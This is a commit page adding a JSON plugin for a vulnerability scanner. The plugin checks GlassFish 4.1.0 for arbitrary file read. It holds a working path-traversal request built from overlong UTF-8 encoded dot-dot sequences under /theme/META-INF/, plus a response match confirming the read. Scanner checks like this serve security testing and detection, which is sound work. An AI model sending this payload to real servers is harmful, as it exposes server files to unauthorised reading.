增加 glassfish 任意文件读取漏洞插件

opensec-cn · Jan 31, 2019 · 38dce67 · 38dce67
1 parent 3495614
commit 38dce67
Showing 1 changed file with 22 additions and 0 deletions.
diff --git a/plugin/json/glassfish_lfr.json b/plugin/json/glassfish_lfr.json
@@ -0,0 +1,22 @@
+{
+    "target":"glassfish",
+    "meta":{
+        "name":    "GlassFish 任意文件读取",
+        "remarks": "可读取服务器上的任意文件。",
+        "level":   2,
+        "type":    "LFR",
+        "author":   "wolf",
+        "references": {
+            "url":"https://github.com/vulhub/vulhub/tree/master/glassfish/4.1.0",
+            "cve":""
+        }
+    },
+    "request":{
+        "path":     "/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/",
+        "postData": ""
+    },
+    "verify":{
+        "type":  "string",
+        "match": "package-appclient.xml"
+    }
+}